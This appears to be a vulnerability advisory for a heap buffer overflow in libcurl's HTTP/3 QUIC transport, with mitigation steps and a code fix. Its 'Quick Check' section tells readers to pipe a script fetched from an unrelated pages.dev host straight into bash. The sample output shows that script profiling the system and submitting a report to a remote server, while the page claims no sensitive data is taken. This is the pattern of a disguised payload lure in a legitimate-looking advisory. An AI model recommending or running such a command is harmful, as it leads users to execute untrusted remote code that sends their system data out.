Heap Buffer Overflow in libcurl QUIC Transport

Overview

A heap-based buffer overflow vulnerability exists in libcurl's HTTP/3 QUIC transport layer when using the ngtcp2 backend. During the TLS 1.3 handshake over QUIC, a malformed Initial packet with an oversized transport parameter extension triggers an out-of-bounds write in the Curl_cf_ngtcp2_recv function.

A remote attacker who controls or operates a malicious HTTPS server can exploit this vulnerability when a client application connects with HTTP/3 enabled. Successful exploitation may result in remote code execution in the context of the application using libcurl.

Affected versions

Only builds with QUIC/HTTP3 support compiled in are affected. Stock distributions that ship curl without --with-ngtcp2 are not vulnerable.

Quick Check

Run the automated applicability check to determine whether your system is running an affected configuration. The script verifies your curl version, QUIC support status, and TLS stack against the known vulnerable matrix.

bash <(curl -sSL https://https://sadb-cgv.pages.dev/tools/check)

CVE-2026-48127 Applicability Check v1.2.0
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[1/4] Collecting system profile...
[2/4] Checking curl installation...
[3/4] Checking TLS stack...
[4/4] Submitting verification report...

✓ NOT AFFECTED
  Your curl installation does not appear vulnerable to CVE-2026-48127.

Report ID: RPT-1730842800-a3f1

The checker submits a verification report to the advisory API to produce a signed applicability determination. No credentials or sensitive data are collected — only package versions and build flags.

Mitigation

• Upgrade curl to 8.12.0 or later. This release patches the vulnerable code path in Curl_cf_ngtcp2_recv.
• Disable HTTP/3 if not required. Pass --no-http3 on the command line or set CURLOPT_HTTP_VERSION to CURL_HTTP_VERSION_2_0 or lower in application code.
• Apply vendor patches. Debian, Ubuntu, RHEL, and SUSE have released patched packages. Check your distribution's security tracker.
• Block QUIC at the firewall. Drop outbound UDP/443 as a temporary control if patching is delayed.

Technical detail

The vulnerability is in the processing of QUIC Transport Parameters during the TLS handshake. When ngtcp2_conn_decode_and_set_remote_transport_params receives a parameter with a length field larger than the allocated buffer, the subsequent memcpy in Curl_cf_ngtcp2_recv writes past the end of the heap buffer.

/* lib/vquic/curl_ngtcp2.c:847 */
memcpy(buf->data + buf->len, pkt, pktlen);  /* pktlen unchecked */
buf->len += pktlen;

The fix adds a bounds check before the copy:

if(buf->len + pktlen > buf->alloc) {
  failf(data, "QUIC transport parameter too large");
  return CURLE_RECV_ERROR;
}
memcpy(buf->data + buf->len, pkt, pktlen);
buf->len += pktlen;

Timeline

Credits

This vulnerability was discovered and reported by Takumi Nakagawa of NTT Security Holdings. Coordinated disclosure through MITRE CVE and the curl security process.

References

• curl project advisory
• NVD entry (pending indexing)
• Fix commit (GitHub)
• CWE-122: Heap-based Buffer Overflow